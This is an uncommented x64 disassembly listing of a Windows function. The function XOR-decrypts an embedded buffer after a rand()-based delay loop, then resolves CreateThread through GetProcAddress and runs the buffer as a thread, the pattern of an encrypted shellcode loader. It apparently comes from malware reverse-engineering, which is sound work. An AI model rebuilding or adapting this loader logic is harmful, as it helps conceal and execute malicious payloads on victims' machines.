mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x9fb1fcb730c677d1
movabs rdx, 0x89094492005705b
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xaac7220890944920
movabs rdx, 0x408f99830c795e
mov qword [rbp + 0x2b], rax
mov qword [rbp + 0x33], rdx
mov dword [rbp + 0x2d8], 0xffffffff
add dword [rbp + 0x2d8], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x13c], edx
mov edx, dword [rbp + 0x13c]
imul edx, edx, 0x1c
sub eax, edx
mov dword [rbp + 0x13c], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000c1a8]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x13c]
movq xmm0, rax
call fcn.140003e60
movq rax, xmm0
mov qword [rbp + 0x130], rax
cmp dword [rbp + 0x2d8], 0x281
jle 0x1400029f3
mov dword [rbp + 0x2ec], 0
jmp 0x140002ad1
mov eax, dword [rbp + 0x2ec]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x2e8]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x2ec]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x2e8], 0x51
jne 0x140002ac3
mov dword [rbp + 0x2e8], 0
jmp 0x140002aca
add dword [rbp + 0x2e8], 1
add dword [rbp + 0x2ec], 1
mov eax, dword [rbp + 0x2ec]
cmp eax, 0x39
jbe 0x140002a86
mov dword [rbp + 0x2ec], 0
jmp 0x140002b49
mov eax, dword [rbp + 0x2ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x160]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x160]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x2e4], 0x39
jne 0x140002b3b
mov dword [rbp + 0x2e4], 0
jmp 0x140002b42
add dword [rbp + 0x2e4], 1
add dword [rbp + 0x2ec], 1
cmp dword [rbp + 0x2ec], 0x36c
jle 0x140002ae8
mov rax, qword [rbp + 0x2c8]
lea rdx, str.CreateThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x128], rax
mov rdx, qword [rbp + 0x160]
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x128]
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.WaitForSingleObject
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x120]
mov r8, qword [rbp + 0x118]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov dword [rbp + 0x114], eax
mov eax, 0
movups xmm6, xmmword [rbp + 0x350]
add rsp, 0x3e0
pop rbp
ret